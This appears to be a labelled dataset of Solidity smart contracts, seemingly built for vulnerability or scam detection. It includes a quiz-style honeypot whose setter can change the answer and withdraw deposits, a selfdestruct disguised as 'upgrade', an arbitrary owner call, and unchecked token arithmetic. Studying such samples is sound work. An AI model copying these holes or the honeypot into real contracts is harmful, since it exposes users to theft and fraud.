ownerance[msg.sender] = ownerance[msg.sender].sub(_value);
ownerance[0x0] = ownerance[0x0].add(_value);
totalSupply = totalSupply.sub(_value);
totalCirculating = totalCirculating.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function transferLocked(address _to, uint _value, uint8 _locktype) public
isNotFrozen
isOwner
isValidAddress
isNotEmpty(_to, _value)
hasEnoughBalance(_value)
hasntLockedBalance(_to)
checkLockedType(_locktype)
returns (bool success)
{
require(msg.sender != _to);
ownerance[msg.sender] = ownerance[msg.sender].sub(_value);
if (_locktype == 1) {
lockedance[_to] = _value;
lockedtype[_to] = _locktype;
lockedOwner.push(_to);
totalCirculating = totalCirculating.sub(_value);
emit TransferLocked(msg.sender, _to, _value, _locktype);
} else if (_locktype == 2) {
uint _first = _value / 100 * 8;
ownerance[_to] = ownerance[_to].add(_first);
lockedance[_to] = _value.sub(_first);
lockedtype[_to] = _locktype;
lockedOwner.push(_to);
totalCirculating = totalCirculating.sub(_value.sub(_first));
emit Transfer(msg.sender, _to, _first);
emit TransferLocked(msg.sender, _to, _value.sub(_first), _locktype);
}
return true;
}
function unlock(address _locker, uint _delta, uint8 _locktype) private
returns (bool success)
{
if (_locktype == 1) {
if (_delta < 6 * 30 days) {
return false;
}
uint _more1 = _delta.sub(6 * 30 days);
uint _step1 = _more1 / 30 days;
for(uint8 i = 0; i < 10; i++) {
if (unlockedstep[_locker] == i && i < 9 && i <= _step1 ) {
ownerance[_locker] = ownerance[_locker].add(lockedance[_locker] / (10 - i));
lockedance[_locker] = lockedance[_locker].sub(lockedance[_locker] / (10 - i));
unlockedstep[_locker] = i + 1;
} else if (i == 9 && unlockedstep[_locker] == 9 && _step1 == 9){
ownerance[_locker] = ownerance[_locker].add(lockedance[_locker]);
lockedance[_locker] = 0;
unlockedstep[_locker] = 0;
lockedtype[_locker] = 0;
}
}
} else if (_locktype == 2) {
if (_delta < 30 days) {
return false;
}
uint _more2 = _delta - 30 days;
uint _step2 = _more2 / 30 days;
for(uint8 j = 0; j < 11; j++) {
if (unlockedstep[_locker] == j && j < 10 && j <= _step2 ) {
ownerance[_locker] = ownerance[_locker].add(lockedance[_locker] / (11 - j));
lockedance[_locker] = lockedance[_locker].sub(lockedance[_locker] / (11 - j));
unlockedstep[_locker] = j + 1;
} else if (j == 10 && unlockedstep[_locker] == 10 && _step2 == 10){
ownerance[_locker] = ownerance[_locker].add(lockedance[_locker]);
lockedance[_locker] = 0;
unlockedstep[_locker] = 0;
lockedtype[_locker] = 0;
}
}
}
return true;
}
function lockedCounts() public view
returns (uint counts)
{
return lockedOwner.length;
}
function releaseLocked() public
isNotFrozen
returns (bool success)
{
require(now > RELEASE_BASE_TIME);
uint delta = now - RELEASE_BASE_TIME;
uint lockedAmount;
for (uint i = 0; i < lockedOwner.length; i++) {
if ( lockedance[lockedOwner[i]] > 0) {
lockedAmount = lockedance[lockedOwner[i]];
unlock(lockedOwner[i], delta, lockedtype[lockedOwner[i]]);
totalCirculating = totalCirculating.add(lockedAmount - lockedance[lockedOwner[i]]);
}
}
return true;
}
} | 1 | 4,989 |
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner returns (bool) {
require(_owner != address(0));
owner = _owner;
return true;
}
}
contract RpSafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function min(uint256 a, uint256 b) internal returns(uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
}
contract HasWorkers is Ownable {
mapping(address => uint256) private workerToIndex;
address[] private workers;
event AddedWorker(address _worker);
event RemovedWorker(address _worker);
constructor() public {
workers.length++;
}
modifier onlyWorker() {
require(isWorker(msg.sender));
_;
}
modifier workerOrOwner() {
require(isWorker(msg.sender) || msg.sender == owner);
_;
}
function isWorker(address _worker) public view returns (bool) {
return workerToIndex[_worker] != 0;
}
function allWorkers() public view returns (address[] memory result) {
result = new address[](workers.length - 1);
for (uint256 i = 1; i < workers.length; i++) {
result[i - 1] = workers[i];
}
}
function addWorker(address _worker) public onlyOwner returns (bool) {
require(!isWorker(_worker));
uint256 index = workers.push(_worker) - 1;
workerToIndex[_worker] = index;
emit AddedWorker(_worker);
return true;
}
function removeWorker(address _worker) public onlyOwner returns (bool) {
require(isWorker(_worker));
uint256 index = workerToIndex[_worker];
address lastWorker = workers[workers.length - 1];
workerToIndex[lastWorker] = index;
workers[index] = lastWorker;
workers.length--;
delete workerToIndex[_worker];
emit RemovedWorker(_worker);
return true;
}
}
contract Token {
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
function approve(address _spender, uint256 _value) returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address tokenOwner) public constant returns (uint balance);
}
contract Balancer is RpSafeMath, Ownable, HasWorkers {
address[] public accounts;
address public coldWallet;
uint256 public limitEth;
mapping(address => uint256) public limitToken;
bool public paused;
constructor() public {
coldWallet = msg.sender;
}
function allAccounts() public view returns (address[]) {
return accounts;
}
function pause() public workerOrOwner returns (bool) {
paused = true;
return true;
}
function unpause() public onlyOwner returns (bool) {
paused = false;
return true;
}
function setLimitEth(uint256 limit) public onlyOwner returns (bool) {
limitEth = limit;
return true;
}
function setLimitToken(Token token, uint256 limit) public onlyOwner returns (bool) {
limitToken[token] = limit;
return true;
}
function addAccount(address account) public onlyOwner returns (bool) {
accounts.push(account);
return true;
}
function removeAccountSearch(address account) public onlyOwner returns (bool) {
for(uint256 index = 0; index < accounts.length; index++) {
if (accounts[index] == account) {
return removeAccount(index, account);
}
}
revert();
}
function removeAccount(uint256 index, address account) public onlyOwner returns (bool) {
require(accounts[index] == account);
accounts[index] = accounts[accounts.length - 1];
accounts.length -= 1;
return true;
}
function setColdWallet(address wallet) public onlyOwner returns (bool) {
coldWallet = wallet;
return true;
}
function executeTransaction(address to, uint256 value, bytes data) public onlyOwner returns (bool) {
return to.call.value(value)(data);
}
function loadEthBalances() public view returns (uint256[] memory, uint256 total) {
uint256[] memory result = new uint256[](accounts.length);
uint256 balance;
for (uint256 i = 0; i < accounts.length; i++) {
balance = accounts[i].balance;
result[i] = balance;
total += balance;
}
return (result, total);
}
function loadTokenBalances(Token token) public view returns (uint256[] memory, uint256 total) {
uint256[] memory result = new uint256[](accounts.length);
uint256 balance;
for (uint256 i = 0; i < accounts.length; i++) {
balance = token.balanceOf(accounts[i]);
result[i] = balance;
total += balance;
}
return (result, total);
}
function getTargetPerWallet(uint256 target, uint256[] memory balances) internal pure returns (uint256 nTarget) {
uint256 d = balances.length;
uint256 oTarget = target / balances.length;
uint256 t;
for (uint256 i = 0; i < balances.length; i++) {
if (balances[i] > oTarget) {
d--;
t += (balances[i] - oTarget);
}
}
nTarget = oTarget - (t / d);
}
function() public payable {
if (gasleft() > 2400) {
if (paused) {
coldWallet.transfer(address(this).balance);
} else {
uint256[] memory balances;
uint256 total;
(balances, total) = loadEthBalances();
uint256 value = address(this).balance;
uint256 targetTotal = min(limitEth, total + value);
if (targetTotal > total) {
uint256 targetPerHotwallet = getTargetPerWallet(targetTotal, balances);
for (uint256 i = 0; i < balances.length; i++) {
if (balances[i] < targetPerHotwallet) {
accounts[i].transfer(targetPerHotwallet - balances[i]);
}
}
}
uint256 toColdWallet = address(this).balance;
if (toColdWallet != 0) {
(bool success, ) = coldWallet.call.value(toColdWallet)("");
require(success, "Transfer failed.");
}
}
}
}
function handleTokens(Token token) public returns (bool) {
if (paused) {
token.transfer(coldWallet, token.balanceOf(this));
} else {
uint256[] memory balances;
uint256 total;
(balances, total) = loadTokenBalances(token);
uint256 value = token.balanceOf(address(this));
uint256 targetTotal = min(limitToken[token], total + value);
if (targetTotal > total) {
uint256 targetPerHotwallet = getTargetPerWallet(targetTotal, balances);
for (uint256 i = 0; i < balances.length; i++) {
if (balances[i] < targetPerHotwallet) {
token.transfer(accounts[i], targetPerHotwallet - balances[i]);
}
}
}
uint256 toColdWallet = token.balanceOf(address(this));
if (toColdWallet != 0) {
address(token).call(abi.encodeWithSignature("transfer(address,uint256)", coldWallet, toColdWallet));
}
}
}
} | 0 | 2,075 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
address public gameSponsor;
function subVirus(address , uint256 ) public pure {}
function claimPrizePool(address , uint256 ) public pure {}
function isContractMiniGame() public pure returns( bool ) {}
function fallback() external payable {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address , uint256 ) public pure {}
}
contract MemoryFactoryInterface {
uint256 public factoryTotal;
function setFactoryToal(uint256 ) public {}
function updateFactory(address , uint256 , uint256 ) public {}
function updateLevel(address ) public {}
function addProgram(address , uint256 , uint256 ) public {}
function subProgram(address , uint256 , uint256 ) public {}
function getPrograms(address ) public view returns(uint256[]) {}
function getLevel(address ) public view returns(uint256 ) {}
function getData(address ) public view returns(uint256 , uint256 , uint256[] ) {}
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
function fallback() external payable;
}
contract CryptoProgramFactory {
using SafeMath for uint256;
address public administrator;
uint256 private BASE_PRICE = 0.1 ether;
uint256 private BASE_TIME = 4 hours;
MemoryFactoryInterface public Memory;
CryptoMiningWarInterface public MiningWar;
CryptoEngineerInterface public Engineer;
uint256 public miningWarDeadline;
mapping(uint256 => Factory) public factories;
mapping(address => bool) public miniGames;
struct Factory {
uint256 level;
uint256 crystals;
uint256 programPriceByCrystals;
uint256 programPriceByDarkCrystals;
uint256 programValue;
uint256 eth;
uint256 time;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event UpdateFactory(address _addr, uint256 _crystals, uint256 _eth, uint256 _levelUp, uint256 _updateTime);
event BuyProgarams(address _addr, uint256 _crystals, uint256 _darkCrystals, uint256[] _programs);
constructor() public {
administrator = msg.sender;
setMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
setEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
setMemoryInterface(0xa2e6461e7a109ae070b9b064ca9448b301404784);
}
function initFactory() private
{
factories[0] = Factory(1, 100000, 10000, 0, 10 ,BASE_PRICE * 0, BASE_TIME * 1);
factories[1] = Factory(2, 500000, 20000, 0, 15 ,BASE_PRICE * 1, BASE_TIME * 2);
factories[2] = Factory(3, 1500000, 40000, 0, 20 ,BASE_PRICE * 4, BASE_TIME * 3);
factories[3] = Factory(4, 3000000, 80000, 0, 5 ,BASE_PRICE * 5, BASE_TIME * 6);
Memory.setFactoryToal(4);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setupMiniGame( uint256 , uint256 _miningWarDeadline ) public
{
miningWarDeadline = _miningWarDeadline;
}
function setMemoryInterface(address _addr) public isAdministrator
{
Memory = MemoryFactoryInterface(_addr);
}
function setMiningWarInterface(address _addr) public isAdministrator
{
MiningWar = CryptoMiningWarInterface(_addr);
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isContractMiniGame() == true);
Engineer = engineerInterface;
}
function setContractMiniGame( address _contractAddress ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _contractAddress );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_contractAddress] = true;
}
function removeContractMiniGame(address _contractAddress) public isAdministrator
{
miniGames[_contractAddress] = false;
}
function addFactory(
uint256 _crystals,
uint256 _programPriceByCrystals,
uint256 _programPriceByDarkCrystals,
uint256 _programValue,
uint256 _eth,
uint256 _time
) public isAdministrator
{
uint256 factoryTotal = Memory.factoryTotal();
factories[factoryTotal] = Factory(factoryTotal +1,_crystals,_programPriceByCrystals,_programPriceByDarkCrystals,_programValue,_eth,_time);
factoryTotal += 1;
Memory.setFactoryToal(factoryTotal);
}
function setProgramValue(uint256 _idx, uint256 _value) public isAdministrator
{
Factory storage f = factories[_idx];
f.programValue = _value;
}
function setProgramPriceByCrystals(uint256 _idx, uint256 _value) public isAdministrator
{
Factory storage f = factories[_idx];
f.programPriceByCrystals = _value;
}
function setProgramPriceByDarkCrystals(uint256 _idx, uint256 _value) public isAdministrator
{
Factory storage f = factories[_idx];
f.programPriceByDarkCrystals = _value;
}
function startGame() public
{
require(msg.sender == administrator);
require(miningWarDeadline == 0);
miningWarDeadline = MiningWar.deadline();
initFactory();
}
function updateFactory() public payable
{
require(miningWarDeadline > now);
Memory.updateLevel(msg.sender);
Factory memory f = factories[uint256(Memory.getLevel(msg.sender))];
if (msg.value < f.eth) revert();
MiningWar.subCrystal(msg.sender, f.crystals);
uint256 updateTime = now + f.time;
uint256 levelUp = f.level;
Memory.updateFactory(msg.sender, levelUp, updateTime);
if (msg.value > 0) {
uint256 fee = devFee(msg.value);
address gameSponsor = Engineer.gameSponsor();
gameSponsor.transfer(fee);
administrator.transfer(fee);
Engineer.fallback.value(SafeMath.sub(msg.value, 2 * fee));
}
emit UpdateFactory(msg.sender, f.crystals, msg.value, levelUp, updateTime);
}
function buyProgarams(uint256[] _programs) public
{
require(_programs.length <= Memory.factoryTotal());
require(miningWarDeadline > now);
Memory.updateLevel(msg.sender);
uint256 factoryLevel = Memory.getLevel(msg.sender);
uint256 crystals = 0;
uint256 darkCrystals =0;
for (uint256 idx = 0; idx < _programs.length; idx ++) {
Factory memory f = factories[idx];
uint256 level = idx + 1;
if (_programs[idx] > 0 && factoryLevel < level) revert();
if (_programs[idx] > 0) {
crystals += SafeMath.mul(_programs[idx], f.programPriceByCrystals);
darkCrystals += SafeMath.mul(_programs[idx], f.programPriceByDarkCrystals);
Memory.addProgram(msg.sender, idx, _programs[idx]);
}
}
if (crystals > 0) MiningWar.subCrystal(msg.sender, crystals);
emit BuyProgarams(msg.sender, crystals, darkCrystals, _programs);
}
function subPrograms(address _addr, uint256[] _programs) public onlyContractsMiniGame
{
uint256 factoryTotal = Memory.factoryTotal();
require(_programs.length <= factoryTotal);
for (uint256 idx = 0; idx < _programs.length; idx++) {
if (_programs[idx] > 0) Memory.subProgram(_addr, idx, _programs[idx]);
}
}
function getData(address _addr)
public
view
returns(
uint256 _factoryTotal,
uint256 _factoryLevel,
uint256 _factoryTime,
uint256[] _programs
) {
_factoryTotal = Memory.factoryTotal();
(_factoryLevel, _factoryTime, _programs) = Memory.getData(_addr);
}
function getProgramsValue() public view returns(uint256[]) {
uint256 factoryTotal = Memory.factoryTotal();
uint256[] memory _programsValue = new uint256[](factoryTotal);
for(uint256 idx = 0; idx < factoryTotal; idx++) {
Factory memory f = factories[idx];
_programsValue[idx] = f.programValue;
}
return _programsValue;
}
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
} | 1 | 4,580 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Apollo {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Apollo(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,086 |
pragma solidity ^0.4.20;
contract QUIZZ
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>=1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function SetQUIZZ(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 4,829 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract ControllablePause is Pausable {
mapping(address => bool) public transferWhiteList;
modifier whenControllablePaused() {
if (!paused) {
require(transferWhiteList[msg.sender]);
}
_;
}
modifier whenControllableNotPaused() {
if (paused) {
require(transferWhiteList[msg.sender]);
}
_;
}
function addTransferWhiteList(address _new) public onlyOwner {
transferWhiteList[_new] = true;
}
function delTransferWhiteList(address _del) public onlyOwner {
delete transferWhiteList[_del];
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_from != _to);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is BurnableToken, StandardToken, ControllablePause{
function burn(uint256 _value) public whenControllableNotPaused {
super.burn(_value);
}
function transfer(address _to, uint256 _value) public whenControllableNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenControllableNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract EOT is PausableToken {
using SafeMath for uint256;
string public constant name = 'EOT';
string public constant symbol = 'EOT';
uint public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 21*10**26;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = totalSupply_;
emit Transfer(address(0x0), owner, totalSupply_);
}
function batchTransfer(address[] _recipients, uint256 _value) public whenControllableNotPaused returns (bool) {
uint256 count = _recipients.length;
require(count > 0 && count <= 20);
uint256 needAmount = count.mul(_value);
require(_value > 0 && balances[msg.sender] >= needAmount);
for (uint256 i = 0; i < count; i++) {
transfer(_recipients[i], _value);
}
return true;
}
address public privateSaleWallet;
address public crowdsaleAddress;
address public lockTokensAddress;
function setLockTokensAddress(address _lockTokensAddress) external onlyOwner {
lockTokensAddress = _lockTokensAddress;
}
function setCrowdsaleAddress(address _crowdsaleAddress) external onlyOwner {
require(crowdsaleAddress == address(0));
require(_crowdsaleAddress != address(0));
crowdsaleAddress = _crowdsaleAddress;
}
function setPrivateSaleAddress(address _privateSaleWallet) external onlyOwner {
require(privateSaleWallet == address(0));
privateSaleWallet = _privateSaleWallet;
}
function () public {
revert();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,345 |
pragma solidity ^0.4.25 ;
interface IERC20Token {
function balanceOf(address owner) external returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function decimals() external returns (uint256);
}
contract LupeMining {
using SafeMath for uint ;
using Limit for uint ;
IERC20Token public tokenContract ;
address public owner;
mapping(bytes32 => bytes32) public solutionForChallenge ;
uint public blockNumber = 0 ;
uint public LUPX_BLOCKS_PER_EPOCH_TARGET = 5 ;
uint public LUPX_BLOCK_TIME = 600 ;
uint public ETHER_BLOCK_TIME = 15 ;
uint public halvingBlockAmount = 25000 ;
uint public ETHER_BLOCKS_PER_EPOCH_TARGET = (LUPX_BLOCK_TIME.div(ETHER_BLOCK_TIME)).mul(LUPX_BLOCKS_PER_EPOCH_TARGET) ;
uint public MIN_TARGET = 2 ** 16 ;
uint public MAX_TARGET = 2 ** 252 ;
uint public target = MAX_TARGET.div(10**4) ;
bytes32 public challenge ;
address public lastRewardedMiner ;
uint public lastRewardAmount ;
uint public lastRewardETHBlock ;
uint public ETHBlockDiffAdjusted = block.number ;
uint public minedTokensAmount = 0 ;
uint public blockReward = 200 ;
bool public locked = false ;
event newBlock(address miner, uint reward) ;
constructor(IERC20Token _tokenContract) public {
tokenContract = _tokenContract ;
owner = msg.sender ;
newBlockChallenge() ;
}
function lockContract() public onlyOwner returns (bool success) {
locked = true ;
return true ;
}
function mine(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
require(!locked) ;
require(tokenContract.balanceOf(address(this)) > blockReward) ;
bytes32 digest = keccak256(challenge, msg.sender, nonce);
if (digest != challenge_digest) {
revert() ;
}
if (uint256(challenge_digest) > target) {
revert() ;
}
bytes32 solution = solutionForChallenge[challenge];
solutionForChallenge[challenge] = digest;
if(solution != 0x0) {
revert();
}
minedTokensAmount = minedTokensAmount.add(blockReward) ;
lastRewardedMiner = msg.sender ;
lastRewardAmount = blockReward ;
lastRewardETHBlock = block.number ;
emit newBlock(msg.sender, blockReward) ;
tokenContract.transfer(msg.sender, blockReward * 10 ** tokenContract.decimals()) ;
newBlockChallenge() ;
return true ;
}
function newBlockChallenge() internal {
blockNumber = blockNumber.add(1) ;
if (blockNumber % LUPX_BLOCKS_PER_EPOCH_TARGET == 0) {
adjustDifficulty() ;
}
if (blockNumber % halvingBlockAmount == 0) {
blockReward = blockReward.div(2) ;
}
challenge = blockhash(block.number - 1) ;
}
function adjustDifficulty() internal {
uint blocksSinceLastBlock = block.number - ETHBlockDiffAdjusted ;
if (blocksSinceLastBlock < ETHER_BLOCKS_PER_EPOCH_TARGET) {
uint excs_percentage = (ETHER_BLOCKS_PER_EPOCH_TARGET.mul(100)).div(blocksSinceLastBlock) ;
uint excs_percentage_extra = excs_percentage.sub(100).limitLessThan(1000) ;
target = target.sub(target.div(2000).mul(excs_percentage_extra)) ;
}
else {
uint short_percentage = (blocksSinceLastBlock.mul(100)).div(ETHER_BLOCKS_PER_EPOCH_TARGET) ;
uint short_percentage_extra = short_percentage.sub(100).limitLessThan(1000) ;
target = target.add(target.div(2000).mul(short_percentage_extra)) ;
}
ETHBlockDiffAdjusted = block.number ;
if(target < MIN_TARGET) {target = MIN_TARGET ;}
if(target > MAX_TARGET) {target = MAX_TARGET ;}
}
function getChallenge() public view returns (bytes32) {
return challenge;
}
function getMiningDifficulty() public view returns (uint) {
return MAX_TARGET.div(target);
}
function getMiningTarget() public view returns (uint) {
return target;
}
function testHASH(uint256 nonce, bytes32 challenge_digest) public view returns (bool success) {
bytes32 digest = keccak256(challenge, msg.sender, nonce);
if (digest != challenge_digest) {
revert() ;
}
if (uint256(challenge_digest) > target) {
revert() ;
}
return true ;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function destroyOwnership() public onlyOwner {
owner = address(0) ;
}
function stopMining() public onlyOwner {
tokenContract.transfer(msg.sender, tokenContract.balanceOf(address(this))) ;
msg.sender.transfer(address(this).balance) ;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Limit {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) {
return b;
} else {
return a;
}
}
} | 1 | 4,969 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
